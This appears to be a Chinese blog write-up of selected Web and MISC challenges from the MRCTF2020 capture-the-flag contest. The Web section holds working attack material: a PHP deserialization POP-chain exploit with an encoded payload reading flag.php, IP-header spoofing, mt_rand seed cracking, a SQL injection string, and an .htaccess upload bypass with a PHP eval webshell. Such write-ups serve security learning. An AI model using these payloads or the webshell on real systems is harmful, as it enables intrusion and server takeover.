MRCTF2020部分题的总结与复现

  1. 0x00 前言
  2. 0x01 Web
    1. PYWebsite
    2. Ez_bypass
    3. EzPop
    4. 套娃
    5. Ezaudit
    6. 你传你🐎呢
  3. 0x02 MISC
    1. 不眠之夜
    2. Unravel
    3. pyflag
    4. 千层套路
    5. 你能看懂音符吗
    6. 寻找xxx
  4. 0x03 后记

0x00 前言

题目整体来说不太难,毕竟是个新生赛,Web出的大部分题都很简单。但考察的知识点等方面,确实需要总结一下。于是我总结了部分MISC和Web。(Crypto不想总结)。

0x01 Web

PYWebsite

这个题出的感觉在考脑洞。。。前端js验证很好绕过(然而绕过也没啥用,而且直接就可以访问flag.php,但没有flag)只有这个:
在这里插入图片描述
最近可能做题做傻了,看到IP竟然没想到IP伪造(如XFF欺骗),枯了。。。

Ez_bypass

这个很容易bypass,数组绕过md5、数字+字母绕过is_numeric()
在这里插入图片描述
第二步也可以用语句绕过1234567|1=1

EzPop

PHP反序列化和pop链我学的不太好(之后再好好学习总结一下),然后这道题就没做。抽空再补补相关知识。
wp说考点就下面这三个:
反序列化魔术方法

__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

public、protected与private在序列化时的区别
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
BASE64 Wrapper LFI
php://filter/convert.base64-encode/resource=flag.php
这里直接粘上wp上的exp和分析过程,自己大致思考了一下:
Exp:

<?php 
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
class Modifier{
    protected $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}
$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
var_dump(urlencode(serialize($s)));
?>

分析

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From http://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//8.触发这个include,利用php base64 wrapper 读flag
    }
    public function __invoke(){
        $this->append($this->var);//7.然后会调用到这里
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;//4.这里会调用str->source的__get(获得一个类的成员变量)那么我们将其设置为Test对象
    }

    public function __wakeup(){
    //2.如果pop是个Show,那么调用这里。产生思考:这个地方是可以通过对象属性个数的值大于真实个数的属性,跳过__wakeup的执行
        if(preg_match("/gopher|http|file|ftp|http|dict|\.\./i", $this->source)) {
        //3.匹配的时候会调用__toString,即当一个对象被当作一个字符串使用时
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;//5.触发到这里
        return $function();//6.()会调用__invoke,我们这里选择Modifier对象
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);//1.反序列调用这里
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

由exp得到payload

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

得到base64编码的flag.php源码,解码得到flag

套娃

这道题比较简单。查看源代码,发现:

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

1.要求传入b_u_p_t,且_%5f的个数都要为0
百度后发现:在URL中GET请求当输入.空格_都会被忽略,所以b_u_p_tb u p tb.u.p.t
2.这个正则的意思是要23333开头和结尾,但值不能是23333。
百度后了解到:url的%0a为换行污染,可以绕过这个正则,且值不为23333。
放上当时做题截图:
在这里插入图片描述
然后url输入secrettw.php进入下一关。
发现jsfuck编码,解码得post me Merak。POST传入Merak=1可查看源码。

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 
function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

伪造本地ip,测试发现禁了XFF头,然后我用Client-IP头。
又发现file_get_contents里有个自定义的change函数执行解密操作
于是我根据源码反向写出加密的exp:

<?php
/*function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}*/
function result($re){
    $v = '';
    for($i=0;$i<strlen($re);$i++){
        $v .=chr(ord($re[$i])-$i*2);
    }
    $v=base64_encode($v);
    return $v;
}
//echo "Your REQUEST is:".change($_GET['file']);
echo result($_GET['s']);
//echo file_get_contents(change($_GET['file']));
?>

在这里插入图片描述
得到payload:

secrettw.php?2333=php://input&file=ZmpdYSZmXGI=

然后post参数todat is a happy day作为get参数?2333传入的文件内容,最后伪造127.0.0.1提交即可得到flag
在这里插入图片描述

Ezaudit

这个题依旧很简单,之前做过安恒新年赛枯燥的抽奖,和这考察的一模一样,都是在考察mt_rand()函数的PHP伪随机性。但当时没有总结,以至于看到题时找了一会儿才找到之前的做法,痛失一血(唯一一次离一血这么近,被我给荒废了,枯了)。现在总结一下这种类型题的做法:
大致思路:

1.发现使用mt_rand()函数,并给出生成字符串的一部分
2.用py脚本根据字符串的一部分生成随机数
3.php_mt_seed根据生成的随机数爆出seed
4.根据seed利用php代码生成完整字符串

php伪随机性
如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
php_mt_seed
利用py脚本

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

运行脚本生成随机数

36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61 

利用php_mt_seed
我在Kali上使用的。

./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

在这里插入图片描述
这里不仅要注意利用php_mt_seed生成的seed,还要注意PHP版本(运用PHP代码根据seed生成完整字符串要用)
利用php代码
在这里插入图片描述
大致说一下这道题的思路:
1.根据目录扫描,发现源码泄露www.zip
2.打开源码,发现使用mt_rand()生成伪随机数(这里贴一下关键部分)

// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

3.根据一部分Public_key->生成随机数->爆出种子>生成完整字符串
4.输入用户名crispr+密码进行SQL注入' or 1=1#+输入完整字符串得到flag

你传你🐎呢

这个题,依旧很容易。不过当时忘了截图了,再做一遍:
1.通过MIME绕过后端文件类型限制,即修改Content-Type: image/jpg
然后构造.htaccess,实现重写文件解析。.htaccess文件内容为:

<FilesMatch "webshell">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess,再上传webshell.jpg,然后webshell.jpg就当php解析了。
webshell可为图片马,也可以只有下面内容:

<?php @eval($_POST[1]); ?>

上传成功,菜刀或蚁剑一连。在根目录下找到flag
在这里插入图片描述

Web还有两道题,一道依旧是pop链,另一道是多种手段动调+静态调试Web Assembly。
pop链还没咋学,而这道pop链的题似乎看起来稍微难点,等学过后再总结。
另一道题没听说过,有时间的话了解一下。。
文末有官方wp参考链接

0x02 MISC

不眠之夜

在这里插入图片描述
一看到这个拼图,我就放弃拼了。以为需要一个一个拼,看了wp发现原来有工具。总结一下解法
解法1:手动拼图
这个就手工拼就好了。。。。。可以放ppt里拼
解法2:写脚本+手拼
我不会写,直接拿来大师傅写的脚本:

用下面两个脚本把纵向的大概拼一下,然后剩的为数不多的几张图再手动拼。

import os
from PIL import Image

s=[]
for i in os.listdir('ini'):
    if i[-4:]=='.jpg':
        s.append(Image.open(open('ini/'+i,'rb')))

for i in s:
    assert i.size[0]==200 and i.size[1]==100
print(len(s))

def dis(a,b):
    r=0
    for i in range(3):
        if a[i]>50 or b[i]>50:
            r+=(a[i]-b[i])**2
        else:
            r+=1000
    return r
def matchx(a,b):
    s=0
    for i in range(200):
        s+=dis(a.getpixel((i,99)),b.getpixel((i,0)))
    return s
t=[]
for i in range(len(s)):
    for j in range(len(s)):
        if i==j:continue
        t.append((matchx(s[i],s[j]),i,j))
t.sort()
rs=''
for i in t:
    rs+='%d %d %d\n'%i
open('out.txt','w').write(rs)
import os
from PIL import Image

im=Image.open('ini/00fd5b9.jpg')
fn=[]
for i in os.listdir('ini'):
    if i[-4:]=='.jpg':
        fn.append('ini/'+i)
s=[]
for i in open('out.txt').readlines():
    v=i.split()
    if len(v)==3:
        s.append(tuple(map(int,v)))

nxt=[-1]*120
pre=[-1]*120
rem=120
for v,a,b in s:
    if nxt[a]==-1 and pre[b]==-1:
        nxt[a]=b
        pre[b]=a
        rem-=1
        if rem==10:
            break

for i in range(120):
    if pre[i]==-1:
        t=[]
        x=i
        while x!=-1:
            t.append(fn[x])
            x=nxt[x]
        print(len(t))
        imt=im.resize((200,100*len(t)))
        cnt=0
        for j in t:
            imv=Image.open(j)
            imt.paste(imv,(0,100*cnt,200,100*(cnt+1)))
            cnt+=1
        imt.save('outi/%d.png'%i)

先建两个文件夹ini和outi。ini里放图片碎片,outi是脚本最后生成的图片。这道题,注意删除一张不是图片碎片的jpg文件。然后执行脚本,最后把outi里的图片再大致手拼一下就好了
在这里插入图片描述
解法3:gayhub上的gaps工具
使用gaps工具是最好的方法。
具体安装及使用流程:
(1) ImageMagick安装

apt-get install libjpeg*
apt-get install libpng*
apt-get install libtiff*
apt-get install libungif*
apt-get install freetype*
apt-get install zlib*
#下载:http://www.imagemagick.org/download/ImageMagick-7.0.10-5.tar.gz
tar zxvf ImageMagick-7.0.10-5.tar.gz
cd ImageMagick-7.0.10-5
./configure && make && make install
#测试:convert 1.jpg 1.png  没报错并成功转换就是安装成功

(2)gaps安装

git clone http://github.com/nemanja-m/gaps.git
cd gaps  
pip install -r requirements.txt #如果爆模块安装过的错误,直接在txt文件列表删掉该模块即可
sudo apt-get install python-tk
pip install -e .

执行下面命令,完成拼图:

montage *jpg -tile 10x12 -geometry 200x100+0+0 out.jpg #把图片碎片合成一个图片
# 将目录中的jpg文件按顺序拼成x轴10块,y轴12块,每个图块大小为200x100像素,输出文件为out.jpg

gaps --image=out.jpg --generations=50 --population=120 --size=100 #还原原图片
--image           指向拼图的路径
--size            拼图块的像素尺寸
--generations     遗传算法的代的数量
--population      个体数量
--verbose         每一代训练结束后展示最佳结果
--save            将拼图还原为图像

在这里插入图片描述
参考MISC大师傅博客:ga1@xy

Unravel

1.binwalk分离图片发现带有aes的Tokyo
2.然后查看.wav文件尾,发现密文(也可以先发现这个密文,Base64解出Salted,“加盐”,想到找密钥)
3.利用密码解密的得到Ending.wav
4.通过silenteye解LSB隐写得到flag

pyflag

这个题也大致总结下思路:
1.使用winhex或strings命令发现文件末尾隐藏信息
2.strings会发现[Secret File Part 1-3]的标识
3.16进制打开则发现文件尾的结束符并非jpg的标准结束符FF D9
4.将三段隐藏信息复制到winhex中,得到一个压缩包
5.暴力破解得到弱密码:1234
在这里插入图片描述
6.得到一个flag.txt和.hint.txt。提示0x10,0x20,0x30,0x55。即base16,32,64,85编码。
7.写脚本解码即可,由于之前写过一个脚本,直接使用即可。(这里就不贴出源码了)
自己可参考:http://www.wishingstarmoye.com/tools/base64
在这里插入图片描述

千层套路

1.自动化解压zip
尝试发现zip的解压密码是文件名字,可以写脚本。这种脚本之前BJD已经见过,看wp写的python2的脚本,算了,不想用。我直接把BJD那个脚本改一下(发现脚本其实特别简单,当时我以为脚本很难。还是自己写脚本用着香啊。。。):

import os
import filetype
import time

while 1:
    files = os.popen('ls')
    filename = files.read().replace('1.py','').replace('\n', '')
    password = filename.replace('.zip', '')
    kind = filetype.guess(filename) #返回文件类型对象
    if kind.extension is 'zip': #支持类型,kind.extension 后缀,kind.mime MIME类型
        os.system("unzip -P {} {}.zip".format(password, password))
        #unzip -P a a.zip
        os.system("rm "+password+".zip")
        time.sleep(0.1)
    else:
        print('解压完成')
        break

2.像素点画图
这个用过gnuplot利用坐标画过图,这里是利用像素点画图,直接用脚本(这个也挺容易写):
可以参考:PIL模块使用

from PIL import Image

x = 200    #x坐标  通过对txt里的行数进行整数分
y = 200    #y坐标  x * y = 行数
im = Image.new("RGB", (x, y))
file = open('qr.txt')

for i in range(0, x):
    for j in range(0, y):
        line = file.readline()  #获取一行的rgb值
        line = line[:-2]
        line = line[1:]
        #print(line)
        rgb = line.split(", ")  #分离rgb,文本中逗号后面有空格
        im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))
im.save('flag.png')

在这里插入图片描述
得到一张二位码,扫描得到flag

你能看懂音符吗

复现后,这里只写一下思路:
1.修复文件头6152改为5261
2.word隐写,即显示隐藏文字(之前已了解过,Word文字的三种隐藏方法)
3.解密音符(这个之前没见过,不过千千秀字上有文本加密为音乐符号在线解密)
在这里插入图片描述

寻找xxx

就是个简单的拨号音隐写(dtmf)。跑脚本的话,我跑出的结果错了几位,只好一个一个的听了,参考通过按键音判断输入的数字
或者通过拨号音的信号频率判断,这个可以使用Au。
在这里插入图片描述
当然这类题有的也可以直接用dtmf-decoder脚本DTMF decoder安卓app或工具dtmf2num

0x03 后记

通过这次做题,我了解到(或简单总结)了一些bypass初识了POP链mt_rand()函数的PHP伪随机性拼图脚本及工具的使用音频的LSB隐写Base家族的其他成员文件名为密码解压压缩包脚本的编写利用PIL库和py脚本进行像素点画图音乐符号解密拨号音隐写。好了,大概就那么多,继续加油!!

官方wp:MRCTF新生赛 2020


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏